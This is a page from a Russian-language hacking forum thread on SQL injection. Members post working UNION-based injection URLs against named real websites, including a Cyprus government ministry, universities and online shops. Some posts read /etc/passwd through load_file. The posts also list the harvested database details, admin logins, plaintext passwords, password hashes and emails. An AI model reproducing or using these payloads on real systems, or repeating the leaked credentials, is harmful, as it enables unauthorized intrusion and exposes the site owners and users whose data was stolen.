SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 172 of 798
  1. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    2 sunb0rn.
    У меня как раз все получилось. Своим постом я отвечал K1nD[e]R. :)
    2 K1nD[e]R. Та все можно "откапать" даже пароли не зашифрованы. Хотя может и не все, там в разных таблицах пароли :)
     
    #3421 Red_Red1, 25 Oct 2007
  2. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    ага да я тока 1 раз попробывал...
     
    #3422 K1nD[e]R, 25 Oct 2007
    2 people like this.
  3. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Code:
    http://www.planeta2.ru/print_news.php?id=-1+union+select+1,2,3,4,5,6,concat(version(),0x3a,database(),0x3a,user())/*
    4.1.21-standard : planeta2_db : planeta2_base@localhost
    Code:
    http://www.hayinfo.ru/print.php?tb_id=2&sub_id=1&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(version(),0x3a,database(),0x3a,user())/*
    4.1.22:wwwhayinforu_hayinfo:hayinfo@localhost
     
    #3423 fRg, 25 Oct 2007
    1 person likes this.
  4. +StArT+

    +StArT+ Elder - Старейшина

    Joined:
    10 Feb 2007
    Messages:
    24
    Likes Received:
    51
    Reputations:
    3
    bigmir.net

    Mystery: legends of the beyond
    это браузерная ролевая многопользовательская онлайн-игра,
    основанная на принципах ККИ (коллекционных карточных игр).
    .........................................................................
    Code:
    http://mystery.[COLOR=Red][B]bigmir.net[/B][/COLOR]/game/frames/userdetails.php?id=-1+union+select+1,2,TABLE_NAME,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75+from+INFORMATION_SCHEMA.TABLES+limit+55,1/*
    .........................................................................
    Админ панель форума:
    http://mystery.bigmir.net/forum/index.php
    -------------------------------------------------------------------------------
    Code:
    http://mystery.[COLOR=Red][B]bigmir.net[/B][/COLOR]/game/frames/userdetails.php?id=-1+union+select+1,version(),concat(username,0x203a20,user_password),4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18,19,database(),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,user_email,64,65,66,67,68,69,70,71,72,73,74,75+from+forum.phpbb_users+limit+1,1/*
    admin:602a22d25967b8ed0c401e445e020587:forum1111

    .........................................................................
    USERS:
    Mystery: legends of the beyond, users.
    -------------------------------------------------------------------------------
    Code:
    http://mystery.[COLOR=Red][B]bigmir.net[/B][/COLOR]/game/frames/userdetails.php?id=-1+union+select+1,version(),concat(name,0x203a20,password),4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18,19,database(),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75+from+mystery2.USERS+limit+0,1/*
    admin:95KFVKtN

    -------------------------------------------------------------------------------

    БД:
    Code:
    information_schema
forum
mystery
mystery2
test
    -------------------------------------------------------------------------------

    Таблицы:
    Code:
    WORLDMAP
USER_TEMPSCRIPTS
USER_RIGHTS
USER_PROF
USER_PENALTY
USER_MAPCELL_PROPS
USER_MAPCELL_BAG
USER_MAP
USER_LOG
USER_LOCATIONS_VISIBILITY
USER_DECK_PRESETS
USER_DECK
USER_AWARDS
USER_ARTEFACTS
USERS
phpbb_users
    --------------------------------------------------------------------------------
    **************************************************************
     
    #3424 +StArT+, 25 Oct 2007
    Last edited: 9 Apr 2009
    5 people like this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    edu+mssql

    www.aim.edu

    Code:
    http://www.aim.edu/faculty/facultyresume.asp?id=-1+or+1=@@version--
    Version:
    Code:
    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
    Интересные таблы:
    Code:
    Microfinance.admin_login
Microfinance.Registration
aimadb.users
    Users:
    Code:
    admin:aimadb	
dbriones:adbaim	
mperalta:mperalta	
policy:aimpolicy
     
    #3425 [53x]Shadow, 25 Oct 2007
    8 people like this.
  6. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    Интернет магазин "Магистра"
    Code:
    http://shop.magistra.ru/catalog/phone_ext.php?id_t=-284+union+select+1,2,0x3C7363726970743E616C657274282773716C27293C2F7363726970743E,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79/*
    Версия: 4.1.22-log
    Юзверь: magistr6_shop@localhost

    Опять доисторический баг в phpBB форуме
    depressia.com
    Code:
    http://depressia.com/forum/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20user_icq,2,user_email,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,username,21,22,23,24,25,26,27,28,29,user_password%20FROM%20phpbb_users%20LIMIT%201,999/*
    Версия: 4.1.22-standard-log
    Юзверь: depressi_depress@localhost
    Тестовый акк на форуме:
    Login: sqlbug
    Pass: 123

    phpBB admin
    login: Admin
    hash: 6c4ed79eb38fc8aa064eaa5208ce0adf
     
    #3426 0nep@t0p, 25 Oct 2007
    Last edited: 25 Oct 2007
    4 people like this.
  7. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    http://ck_DEL_pt.ru/service?id=169+uniOn+selEct+1,2,3,4,5,6,7,version(),9,0,1--
    помогите найти таблицу админки
     
    #3427 big_BRAT, 25 Oct 2007
    2 people like this.
  8. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    непохек
    Code:
    http://www.ukrmebe l.com/ClInfo.php?Id=-262+UNION+SELECT+1,AES_DEC RYPT(AES_ENCRYPT(version(),0x78),0x78),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
    Не умею юзать aes_decrypt/encrypt,где о нём почитать?
    хек
    БД
    4.0.27-max-log*bormebel:[email protected]
    Code:
    http://www.bormebel.com/catalog/index.php?id=-37+UNION+SELECT+concat(version(),0x2a,database(),0x3a,user()),2+from+users/*
    Админ
    admin:ftn-admn:[email protected]
    Code:
    http://www.bor mebel.com/c atalog/index.php?id=-37+UNION+S ELECT+concat(login,0x3a,pwd,0x3a,email),2+from+users/*
    http://www.borme bel.com/admin

    P.S.подкиньте пару-тройку приват соксов в личку,кому не жалко)С меня плюсик
     
    #3428 v1ru$, 25 Oct 2007
    Last edited: 25 Oct 2007
    3 people like this.
  9. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    telenettv.ru (телекоммуникационная компания )

    http://www.telenettv.ru/?razdel=new&id=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3,4/*

    5.0.22-log/telenet/siteman@localhost


    http://www.telenettv.ru/?razdel=new&id=-1+union+select+1,concat(username,0x2F,password),icq,4+from+telenet_forum.users+limit+5,1/*

    логин/хеш/уин
     
    #3429 ElteRUS, 25 Oct 2007
    1 person likes this.
  10. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://volkswagen-ukraine.com.ua/index.php?id=-20+union+select+1,2,user(),version(),5,6/*
     
    #3430 K1nD[e]R, 25 Oct 2007
  11. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://terrorism.com/modules.php?op=modload&name=About&file=index&subcontent=services&detail=showtraining&course_requested=999999+union+select+0,load_file(0x2F6574632F706173737764),2,3,4,5,6,7,8,9,10/*
     
    #3431 K1nD[e]R, 25 Oct 2007
    1 person likes this.
  12. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.ia-centr.ru/theme_details.php?id=-495+union+select+1,user(),version(),load_file(0x2F6574632F706173737764),5,6,7/*
     
    #3432 K1nD[e]R, 25 Oct 2007
    Last edited: 25 Oct 2007
  13. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    24rus.ru

    http://www.24rus.ru/more.php?UID=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3,4,1,1,1,1,1,1,1,1,1,1,1,1/*

    5.0.37/24rus/nia@localhost



    http://www.24rus.ru/more.php?UID=-1+union+select+1,concat(MISLogin,0x2F,MISPassword),3,4,1,1,1,1,1,1,1,1,1,1,1,1+from+tMIS+limit+0,1/*

    логин/пароль
    admin/ira78ira
    admin/061994
     
    #3433 ElteRUS, 25 Oct 2007
    2 people like this.
  14. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.vaal.ru/show.php?id=-170+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11/*
     
    #3434 K1nD[e]R, 26 Oct 2007
  15. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    news.nofollow.ru
    Code:
    http://news.nofollow.ru/?page=list&feedsrc=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*&news_type=2
    4.0.26:nofoll:[email protected]
    www.wfsj.org
    Code:
    http://www.wfsj.org/projects/page.php?id=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9,10,11/*
    4.1.7-nt-max:wfsj:wfsj@localhost
    www.ntu.org
    Code:
    http://www.ntu.org/main/page.php?PageID=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7/*
    4.0.20-standard-log:ntu:[email protected]
    www.kuleuven.be
    Code:
    http://www.kuleuven.be/cee/page.php?LAN=E&FILE=subject&ID=371&PAGE=-1+union+select+1,2,3,4,5,6,7,8,9,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),11,12/*
    4.1.13-standard-log : oce : [email protected]
     
    #3435 fRg, 26 Oct 2007
    2 people like this.
  16. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.maap.ro - походу Министерство агрокультур Румынии
    Code:
    http://www.maap.ro/pages/page.php?catid=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8/*&lang=2
    4.1.22-standard:mapam_mapam1:mapam_mapam@localhost
    chronicle.com
    Code:
    http://chronicle.com/stats/productivity/page.php?bycat=true&primary=2&secondary=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),23,24/*
    4.1.10a-log:CHEfpd:[email protected]
    www.bookjobs.com
    Code:
    http://www.bookjobs.com/page.php?prmID=-1+union+select+concat_ws(0x3a,version(),database(),user())/*
    В <title>:
    4.1.20:aap:root@localhost
     
    #3436 fRg, 26 Oct 2007
  17. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    http://www.spad.ru/
    User: spad@localhost
    Version: 4.0.24-standard
    Донбанк
    User: metropo3_donbank@localhost
    Version:4.1.22-log
    Так ни одной таблицы подобрать и не смог :(
     
    #3437 0nep@t0p, 26 Oct 2007
    5 people like this.
  18. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    Cyprus Ministry Of Interior

    Code:
    http://moi.gov.cy/newscontent.php?id=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,10,11/*
    moi@localhost:4.1.22-standard:moi
    Code:
    http://moi.gov.cy/newscontent.php?id=-1+union+select+1,2,3,username,5,password,7,8,9,10,11+from+users/*
    adminmoi:entermoi http://moi.gov.cy/administration/index.php
    Сегодня захожу, а там уже другая cms =( Но и в ней есть скуль =)
    Code:
    http://moi.gov.cy/index.php?ac=39&l=-1'+union+select+concat(user(),0x3a,version(),0x3a,database()),2,3,4,5,6,7/*
    moinew@localhost:4.1.22-standard:moinew
    Code:
    http://moi.gov.cy/index.php?ac=39&l=-1'+union+select+concat(username,0x3a,password),2,3,4,5,6,7+from+users/*
    adelin:f5bb7d76f46bc2d130aa8cc3e6fa5c38
    neos:fbade9e36a3f36d3d676c1b808451dd7:z
    costas:dc3a463af4afe7d32bedfac972a1b1a6
     
    #3438 Maxyks, 26 Oct 2007
    4 people like this.
  19. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.civitas.ru - Всероссийский Гражданский Конгресс
    Code:
    http://www.civitas.ru/newsprint.php?code=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9,10/*
    5.0.18:congress:alik@localhost
    663 таблицы:
    Code:
    http://www.civitas.ru/newsprint.php?code=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(table_name,0x71),0x71)),4,5,6,7,8,9,10+from+information_schema.tables+limit+662,1/*
    Копался в таблицах - нашёл табу person.
    Данные из person в формате "имя:пасс:мыло:телефон:web":
    Code:
    http://www.civitas.ru/newsprint.php?code=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(name,0x71),0x71),0x3a,aes_decrypt(aes_encrypt(pass,0x71),0x71),0x3a,aes_decrypt(aes_encrypt(email,0x71),0x71),0x3a,aes_decrypt(aes_encrypt(phone,0x71),0x71),0x3a,aes_decrypt(aes_encrypt(web,0x71),0x71)),4,5,6,7,8,9,10+from+person+limit+0,1/*
    интересные ящики попадаются "[email protected]" :D
    www.gost.net.ru - БД ГОСТы
    Code:
    http://www.gost.net.ru/download.php?fFolder=57&fFrom=katalog&fItem=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13/*
    4.1.20:db000030:u000030@localhost
    www.sportclubmai.ru - СПОРТКЛУБ МАИ
    Code:
    http://www.sportclubmai.ru/admin/admin_news/long_news.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
    4.0.27-standard:db_sportclubmai:sportclubmai@localhost
     
    #3439 fRg, 26 Oct 2007
    3 people like this.
  20. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.legis.krsn.ru/newsinfo.php?UID=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3,4,5,6,7,8,9,10,11,12,13,1,1,1/*

    4.0.27-Max/zs24/zs24@localhost



    http://www.pro-robotu.kiev.ua/articles.php?aID=-41+union+select+concat(version(),0x2F,database(),0x2F,user()),2/*&action=view_article

    4.0.27-standard-log/rabota2/robota@localhost
     
    #3440 ElteRUS, 26 Oct 2007
    2 people like this.
(You must log in or sign up to post here.)
Page 172 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.